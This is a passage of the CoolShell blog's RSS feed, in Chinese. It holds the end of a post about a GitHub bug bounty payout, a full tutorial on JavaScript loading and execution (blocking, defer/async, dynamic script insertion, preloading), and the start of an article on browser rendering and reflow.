<p>于是，作者从 <a href="https://bounty.github.com/">Github Security Bug Bounty</a> 拿到了USD $4,000的奖励！Egor一共花了从下午2点到6点一共4个小时找到了这些Bug，平均一小时1000美刀。Egor还很得瑟的说，如果Github请他做安全顾问，他只收一小时USD $400刀，这4个小时也就$1,600。呵呵。大家看看，这是多么有效率的赚钱方式。</p>
<p>下图是Github上的赏金猎手的排行榜（<a href="https://bounty.github.com/index.html#leaderboard" target="_blank">https://bounty.github.com/index.html#leaderboard</a>）你可以上去挨个看看他们找到的问题，你会发现好些安全问题都很小，有些只能说是不是很规范的问题，Github都赏了几百刀。我查看了一下github的赏金政策，github赏金至少100刀，到5000刀不等。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-11053" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard.jpg" width="580" height="478" srcset="https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard.jpg 716w, https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard-300x247.jpg 300w" sizes="(max-width: 580px) 100vw, 580px" /></p>
<p>让我们扪心自问一下，我们花了多少时间在玩那些“红包游戏”，而又搞到了多少红包？人家4个小时找了5个bug，挣了$4000美金。<strong>老天给了你我一样的时间，我们用来抽几块钱的红包，人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率</strong>——你可以移步看看我写的《<a title="加班与效率" href="https://coolshell.cn/articles/10217.html" target="_blank">加班与效率</a>》</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li><li ><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg" alt="你会做Web上的用户登录功能吗？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_title">你会做Web上的用户登录功能吗？</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/11021.html">从“黑掉Github”学Web安全开发</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/11021.html/feed</wfw:commentRss>
			<slash:comments>61</slash:comments>
		
		
			</item>
		<item>
		<title>Javascript 装载和执行</title>
		<link>https://coolshell.cn/articles/9749.html</link>
					<comments>https://coolshell.cn/articles/9749.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Wed, 05 Jun 2013 00:31:06 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=9749</guid>

					<description><![CDATA[<p>一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛，发现有不少的人对Javascript的执行和装载的基础并不懂，所以，从那天起我就想写一篇文章，...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/9749.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/9749.html">Javascript 装载和执行</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright  wp-image-9778" alt="" src="https://coolshell.cn/wp-content/uploads/2013/06/javascript.jpg" width="300" height="225" srcset="https://coolshell.cn/wp-content/uploads/2013/06/javascript.jpg 500w, https://coolshell.cn/wp-content/uploads/2013/06/javascript-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/06/javascript-360x270.jpg 360w" sizes="(max-width: 300px) 100vw, 300px" />一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛，发现有不少的人对Javascript的执行和装载的基础并不懂，所以，从那天起我就想写一篇文章，但一直耽搁了。自上篇《<a title="浏览器的渲染原理简介" href="https://coolshell.cn/articles/9666.html" target="_blank">浏览器渲染原理简介</a>》，正好也可以承前启后。</p>
<p>首先，我想说一下Javascript的装载和执行。通常来说，浏览器对于Javascript的运行有两大特性：<strong>1）载入后马上执行，2）执行时会阻塞页面后续的内容（包括页面的渲染、其它资源的下载）</strong>。于是，如果有多个js文件被引入，那么对于浏览器来说，这些js文件被被串行地载入，并依次执行。</p>
<p>因为javascript可能会来操作HTML文档的DOM树，所以，浏览器一般都不会像并行下载css文件并行下载js文件，因为这是js文件的特殊性造成的。所以，如果你的javascript想操作后面的DOM元素，基本上来说，浏览器都会报错说对象找不到。因为Javascript执行时，后面的HTML被阻塞住了，DOM树时还没有后面的DOM结点。所以程序也就报错了。</p>
<h4>传统的方式</h4>
<p>所以，当你写在代码中写下如下的代码：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;script type=&quot;text/javascript&quot;
        src=&quot;https://coolshell.cn/asyncjs/alert.js&quot;&gt;&lt;/script&gt;</pre>
<p><span id="more-9749"></span></p>
<p>基本上来说，head里的 &lt;script&gt;标签会阻塞后续资源的载入以及整个页面的生成。我专门做了一个示例你可以看看：<strong><a href="https://coolshell.cn/asyncjs/async_test01.html" target="_blank">示例一</a></strong>。 注意：我的alert.js中只有一句话：alert(&#8220;hello world&#8221;) ，这更容易让你看到javascript是怎么阻塞后面的东西的。</p>
<p>所以，你知道为什么有很多网站把javascript放在网页的最后面了，要么就是动用了window.onload或是docmuemt ready之类的事件。</p>
<p>另外，因为绝大多数的Javascript代码并不需要等页面，所以，我们异步载入的功能。那么我们怎么异步载入呢？</p>
<h4>document.write方式</h4>
<p>于是，你可能以为document.write()这种方式能够解决不阻塞的方式。你当然会觉得，document.write了的&lt;script&gt;标签后就可以执行后面的东西去了，这没错。对于在同一个script标签里的Javascript的代码来说，是这样的，但是对于整个页面来说，这个还是会阻塞。 下面是一段测试代码：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot;&gt;
    function loadjs(script_filename) {
        document.write(&#039;&lt;&#039; + &#039;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&#039;);
        document.write(&#039; src=&quot;&#039; + script_filename + &#039;&quot;&gt;&#039;);
        document.write(&#039;&lt;&#039;+&#039;/script&#039;+&#039;&gt;&#039;);
        alert(&quot;loadjs() exit...&quot;);
    }

    var script = &#039;https://coolshell.cn/asyncjs/alert.js&#039;;

    loadjs(script);
    alert(&quot;loadjs() finished!&quot;);
&lt;/script&gt;

&lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot;&gt;
   alert(&quot;another block&quot;);
&lt;/script&gt;</pre>
<p>你觉得alert的顺序是什么？你可以在不同的浏览器里试一试。这里的想关的测试页面：<strong><a href="https://coolshell.cn/asyncjs/async_test02.html" target="_blank">示例二</a></strong>。</p>
<h4>script的defer和async属性</h4>
<p>IE自从IE6就支持defer标签，如：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;script defer type=&quot;text/javascript&quot; src=&quot;./alert.js&quot; &gt;
&lt;/script&gt;</pre>
<p>对于IE来说，这个标签会让IE并行下载js文件，并且把其执行hold到了整个DOM装载完毕（DOMContentLoaded），多个defer的&lt;script&gt;在执行时也会按照其出现的顺序来运行。最重要的是&lt;script&gt;被加上defer后，其不会阻塞后续DOM的的渲染。但是因为这个defer只是IE专用，所以一般用得比较少。</p>
<p>而我们标准的的HTML5也加入了一个异步载入javascript的属性：async，无论你对它赋什么样的值，只要它出现，它就开始异步加载js文件。但是， async的异步加载会有一个比较严重的问题，那就是它忠实地践行着“载入后马上执行”这条军规，所以，虽然它并不阻塞页面的渲染，但是你也无法控制他执行的次序和时机。你可以<a href="https://coolshell.cn/asyncjs/async_test01.async.html" target="_blank">看看这个示例去感受一下</a>。</p>
<p>支持 async标签的浏览器是：Firefox3.6+，Chrome 8.0+，Safari 5.0+，IE 10+，Opera还不支持（<a href="http://caniuse.com/#feat=script-async" target="_blank">来自这里</a>）所以这个方法也不是太好。因为并不是所有的浏览器你都能行。</p>
<h4>动态创建DOM方式</h4>
<p>这种方式可能是用得最多的了。</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">
function loadjs(script_filename) {
    var script = document.createElement(&#039;script&#039;);
    script.setAttribute(&#039;type&#039;, &#039;text/javascript&#039;);
    script.setAttribute(&#039;src&#039;, script_filename);
    script.setAttribute(&#039;id&#039;, &#039;coolshell_script_id&#039;);

    script_id = document.getElementById(&#039;coolshell_script_id&#039;);
    if(script_id){
        document.getElementsByTagName(&#039;head&#039;)[0].removeChild(script_id);
    }
    document.getElementsByTagName(&#039;head&#039;)[0].appendChild(script);
}

var script = &#039;https://coolshell.cn/asyncjs/alert.js&#039;;
loadjs(script);
</pre>
<p>这个方式几乎成了标准的异步载入js文件的方式，这个方式的演示请参看：<strong><a href="https://coolshell.cn/asyncjs/async_test03.html" target="_blank">示例三</a></strong>。这方式还被玩出了JSONP的东东，也就是我可以为script的src指定某个后台的脚本（如PHP），而这个PHP返回一个javascript函数，其参数是一个json的字符串，返回来调用我们的预先定义好的javascript的函数。你可以看一下这个示例：<a href="https://coolshell.cn/t.js" target="_blank">t.js</a> （这个示例是我之前在微博征集的<a href="https://coolshell.cn/t.html" target="_blank">一个异步ajax调用的小例子</a>）<strong><br />
</strong></p>
<h4>按需异步载入js</h4>
<p>上面那个DOM方式的例子解决了异步载入Javascript的问题，但是没有解决我们想让他按我们指定的时机运行的问题。所以，我们只需要把上面那个DOM方式绑到某个事件上来就可以了。</p>
<p>比如：</p>
<p><strong>绑在window.load事件上</strong>——<strong><a href="https://coolshell.cn/asyncjs/async_test04.html" target="_blank">示例四</a> </strong></p>
<p><strong></strong>你一定要比较一下示例四和示例三在执行上有什么不同，我在这两个示例中都专门用了个代码高亮的javascript，看看那个代码高亮的的脚本的执行和我的alert.js的执行的情况，你就知道不同了）</p>
<p><code data-enlighter-language="js" class="EnlighterJSRAW">window.load = loadjs(&quot;https://coolshell.cn/asyncjs/alert.js&quot;)</code></p>
<p><strong>绑在特定的事件上</strong>——<strong><a href="https://coolshell.cn/asyncjs/async_test05.html" target="_blank">示例五</a></strong></p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;p style=&quot;cursor: pointer&quot; onclick=&quot;LoadJS()&quot;&gt;Click to load alert.js &lt;/p&gt;</code></p>
<p>这个示例很简单了。当你点击某个DOM元素，才会真正载入我们的alert.js。</p>
<h4>更多</h4>
<p>但是，绑定在某个特定事件上这个事似乎又过了一点，因为只有在点击的时候才会去真正的下载js，这又会太慢了了。好了，到这里，要抛出我们的终极问题——<strong>我们想要异步地把js文件下载到用户的本地，但是不执行，仅当在我们想要执行的时候去执行</strong>。</p>
<p>要是我们有下面这样的方式就好了：</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">var script = document.createElement(&quot;script&quot;);
script.noexecute = true;
script.src = &quot;alert.js&quot;;
document.body.appendChild(script);

//后面我们可以这么干
script.execute();</pre>
<p>可惜的是，这只是一个美丽的梦想，今天我们的Javascript还比较原始，这个“JS梦”还没有实现呢。</p>
<p>所以，我们的程序员只能使用hack的方式来搞。</p>
<p>有的程序员使用了非标准的script的type来cache javascript。如：</p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;script type=cache/script src=&quot;./alert.js&quot;&gt;&lt;/script&gt;</code></p>
<p>因为&#8221;cache/script&#8221;，这个东西根本就不能被浏览器解析，所以浏览器也就不能把alert.js当javascript去执行，但是他又要去下载js文件，所以就可以搞定了。可惜的是，webkit严格符从了HTML的标准——对于这种不认识的东西，直接删除，什么也不干。于是，我们的梦又破了。</p>
<p>所以，我们需要再hack一下，就像N多年前玩preload图片那样，我们可以动用object标签（也可以动用iframe标签），于是我们有下面这样的代码：</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">    function cachejs(script_filename){
        var cache = document.createElement(&#039;object&#039;);
        cache.data = script_filename;
        cache.id = &quot;coolshell_script_cache_id&quot;;
        cache.width = 0;
        cache.height = 0;
        document.body.appendChild(cache);
    }</pre>
<p>然后，我们在的最后调用一下这个函数。请参看一下相关的示例：<strong><a href="https://coolshell.cn/asyncjs/async_test06.html" target="_blank">示例六</a></strong></p>
<p>在Chrome下按 Ctrl+Shit+I，切换到network页，你就可以看到下载了alert.js但是没有执行，然后我们再用示例五的方式，因为浏览器端有缓存了，不会再从服务器上下载alert.js了。所以，就能保证执行速度了。</p>
<p>关于这种preload这种东西你应该不会陌生了。你还可以使用Ajax的方式，如：</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">var xhr = new XMLHttpRequest();
xhr.open(&#039;GET&#039;, &#039;new.js&#039;);
xhr.send(&#039;&#039;);</pre>
<p>到这里我就不再多说了，也不给示例了，大家可以自己试试去。</p>
<p>最后再提两个js，一个是<a href="http://stevesouders.com/controljs/" target="_blank">ControlJS</a>，一个叫<a href="http://headjs.com/" target="_blank">HeadJS</a>，专门用来做异步load javascript文件的。</p>
<p>好了，这是所有的内容了，希望大家看过后能对Javascript的载入和执行，以及相关的技术有个了解。<strong>同时，也希望各前端高手不吝赐教！</strong></p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg" alt="浏览器的渲染原理简介" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_title">浏览器的渲染原理简介</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/8170.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg" alt="一次Ajax查错的经历" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8170.html" class="wp_rp_title">一次Ajax查错的经历</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png" alt="一些文章资源和趣闻" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_title">一些文章资源和趣闻</a></li><li ><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg" alt="开源中最好的Web开发的资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_title">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/9749.html">Javascript 装载和执行</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/9749.html/feed</wfw:commentRss>
			<slash:comments>104</slash:comments>
		
		
			</item>
		<item>
		<title>浏览器的渲染原理简介</title>
		<link>https://coolshell.cn/articles/9666.html</link>
					<comments>https://coolshell.cn/articles/9666.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Wed, 22 May 2013 00:17:47 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=9666</guid>

					<description><![CDATA[<p>看到这个标题大家一定会想到这篇神文《How Browsers Work》，这篇文章把浏览器的很多细节讲得很细，而且也被翻译成了中文。为什么我还想写一篇呢？因为两...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/9666.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/9666.html">浏览器的渲染原理简介</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>看到这个标题大家一定会想到这篇神文《<a href="http://taligarsiel.com/Projects/howbrowserswork1.htm" target="_blank">How Browsers Work</a>》，这篇文章把浏览器的很多细节讲得很细，而且也被<a href="http://ux.sohu.com/topics/50972d9ae7de3e752e0081ff" target="_blank">翻译成了中文</a>。为什么我还想写一篇呢？因为两个原因，</p>
<p style="padding-left: 30px;">1）这篇文章太长了，阅读成本太大，不能一口气读完。</p>
<p style="padding-left: 30px;">2）花了大力气读了这篇文章后可以了解很多，但似乎对工作没什么帮助。</p>
<p>所以，我准备写下这篇文章来解决上述两个问题。希望你能在上班途中，或是坐马桶时就能读完，并能从中学会一些能用在工作上的东西。</p>
<h4>浏览器工作大流程</h4>
<p>废话少说，先来看个图：</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9667" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process.jpg" width="712" height="231" srcset="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process.jpg 791w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-300x97.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-768x250.jpg 768w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-604x196.jpg 604w" sizes="(max-width: 712px) 100vw, 712px" /></p>
<p style="text-align: left;">从上面这个图中，我们可以看到那么几个事：</p>
<p><span id="more-9666"></span></p>
<p style="text-align: left;">1）浏览器会解析三个东西：</p>
<ul>
<li>一个是HTML/SVG/XHTML，事实上，Webkit有三个C++的类对应这三类文档。解析这三种文件会产生一个DOM Tree。</li>
</ul>
<ul>
<li>CSS，解析CSS会产生CSS规则树。</li>
</ul>
<ul>
<li>Javascript，脚本，主要是通过DOM API和CSSOM API来操作DOM Tree和CSS Rule Tree.</li>
</ul>
<p>2）解析完成后，浏览器引擎会通过DOM Tree 和 CSS Rule Tree 来构造 Rendering Tree。注意：</p>
<ul>
<li>Rendering Tree 渲染树并不等同于DOM树，因为一些像Header或display:none的东西就没必要放在渲染树中了。</li>
</ul>
<ul>
<li>CSS 的 Rule Tree主要是为了完成匹配并把CSS Rule附加上Rendering Tree上的每个Element。也就是DOM结点。也就是所谓的Frame。</li>
</ul>
<ul>
<li>然后，计算每个Frame（也就是每个Element）的位置，这又叫layout和reflow过程。</li>
</ul>
<p>3）最后通过调用操作系统Native GUI的API绘制。</p>
<h4>DOM解析</h4>
<p>HTML的DOM Tree解析如下：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">
&lt;html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;Web page parsing&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div&gt;
        &lt;h1&gt;Web page parsing&lt;/h1&gt;
        &lt;p&gt;This is an example Web page.&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>上面这段HTML会解析成这样：</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9669" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-01.jpg" width="456" height="300" srcset="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-01.jpg 651w, https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-01-300x197.jpg 300w" sizes="(max-width: 456px) 100vw, 456px" /></p>
<p>下面是另一个有SVG标签的情况。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9670" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-02.jpg" width="408" height="320" srcset="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-02.jpg 680w, https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-02-300x235.jpg 300w" sizes="(max-width: 408px) 100vw, 408px" /></p>
<h4>CSS解析</h4>
<p>CSS的解析大概是下面这个样子（下面主要说的是Gecko也就是Firefox的玩法），假设我们有下面的HTML文档：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">
&lt;doc&gt;
&lt;title&gt;A few quotes&lt;/title&gt;
&lt;para&gt;
  Franklin said that &lt;quote&gt;&quot;A penny saved is a penny earned.&quot;&lt;/quote&gt;
&lt;/para&gt;
&lt;para&gt;
  FDR said &lt;quote&gt;&quot;We have nothing to fear but &lt;span&gt;fear itself.&lt;/span&gt;&quot;&lt;/quote&gt;
&lt;/para&gt;
&lt;/doc&gt;
</pre>
<p>于是DOM Tree是这个样子：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9672" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-Example.jpg" width="368" height="318" srcset="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-Example.jpg 368w, https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-Example-300x259.jpg 300w" sizes="(max-width: 368px) 100vw, 368px" /></p>
<p>然后我们的CSS文档是这样的：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">  /* rule 1 */ doc { display: block; text-indent: 1em; }
/* rule 2 */ title { display: block; font-size: 3em; }
/* rule 3 */ para { display: block; }
/* rule 4 */ [class=&quot;emph&quot;] { font-style: italic; }</pre>
<p>于是我们的CSS Rule Tree会是这个样子：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9673" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/CSS-Rule-Tree-Example.jpg" width="397" height="238" srcset="https://coolshell.cn/wp-content/uploads/2013/05/CSS-Rule-Tree-Example.jpg 397w, https://coolshell.cn/wp-content/uploads/2013/05/CSS-Rule-Tree-Example-300x179.jpg 300w" sizes="(max-width: 397px) 100vw, 397px" /></p>
<p>注意，图中的第4条规则出现了两次，一次是独立的，一次是在规则3的子结点。所以，我们可以知道，建立CSS Rule Tree是需要比照着DOM Tree来的。CSS匹配DOM Tree主要是从右到左解析CSS的Selector，好多人以为这个事会比较快，其实并不一定。关键还看我们的CSS的Selector怎么写了。</p>
<p><strong>注意：CSS匹配HTML元素是一个相当复杂和有性能问题的事情。所以，你就会在N多地方看到很多人都告诉你，DOM树要小，CSS尽量用id和class，千万不要过渡层叠下去，……</strong></p>
<p>通过这两个树，我们可以得到一个叫Style Context Tree，也就是下面这样（把CSS Rule结点Attach到DOM Tree上）：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9674" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/CSS-Content-Tree-Example.jpg" width="405" height="318" srcset="https://coolshell.cn/wp-content/uploads/2013/05/CSS-Content-Tree-Example.jpg 405w, https://coolshell.cn/wp-content/uploads/2013/05/CSS-Content-Tree-Example-300x235.jpg 300w" sizes="(max-width: 405px) 100vw, 405px" /></p>
<p>所以，Firefox基本上来说是通过CSS 解析 生成 CSS Rule Tree，然后，通过比对DOM生成Style Context Tree，然后Firefox通过把Style Context Tree和其Render Tree（Frame Tree）关联上，就完成了。注意：Render Tree会把一些不可见的结点去除掉。而<strong>Firefox中所谓的Frame就是一个DOM结点，不要被其名字所迷惑了</strong>。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9677" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/Firefox-style-context-tree.png" width="328" height="366" srcset="https://coolshell.cn/wp-content/uploads/2013/05/Firefox-style-context-tree.png 364w, https://coolshell.cn/wp-content/uploads/2013/05/Firefox-style-context-tree-268x300.png 268w" sizes="(max-width: 328px) 100vw, 328px" /></p>
<p>注：Webkit不像Firefox要用两个树来干这个，Webkit也有Style对象，它直接把这个Style对象存在了相应的DOM结点上了。</p>
<h4>渲染</h4>
<p>渲染的流程基本上如下（黄色的四个步骤）：</p>
<ol>
<li>计算CSS样式</li>
<li>构建Render Tree</li>
<li>Layout &#8211; 定位坐标和大小，是否换行，各种position, overflow, z-index属性 ……</li>
<li>正式开画</li>
</ol>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9675" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping.jpg" width="712" height="196" srcset="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping.jpg 1318w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping-300x82.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping-1024x282.jpg 1024w" sizes="(max-width: 712px) 100vw, 712px" /></p>
<p style="text-align: left;">注意：上图流程中有很多连接线，这表示了Javascript动态修改了DOM属性或是CSS属会导致重新Layout，有些改变不会，就是那些指到天上的箭头，比如，修改后的CSS rule没有被匹配到，等。</p>
<p style="text-align: left;">这里重要要说两个概念，一个是Reflow，另一个是Repaint。这两个不是一回事。</p>
<ul>
<li>Repaint——屏幕的一部分要重画，比如某个CSS的背景色变了。但是元素的几何尺寸没有变。</li>
</ul>
<ul>
<li>Reflow——意味着元件的几何尺寸变了，我们需要重新验证并计算Render Tree。是Render Tree的一部分或全部发生了变化。这就是Reflow，或是Layout。（<strong>HTML使用的是flow based layout，也就是流式布局，所以，如果某元件的几何尺寸发生了变化，需要重新布局，也就叫reflow</strong>）reflow 会从&lt;html&gt;这个root frame开始递归往下，依次计算所有的结点几何尺寸和位置，在reflow过程中，可能会增加一些frame，比如一个文本字符串必需被包装起来。</li>
</ul>
<p>下面是一个打开Wikipedia时的Layout/reflow的视频（注：HTML在初始化的时候也会做一次reflow，叫 <dfn>intial reflow</dfn>），你可以感受一下：</p>
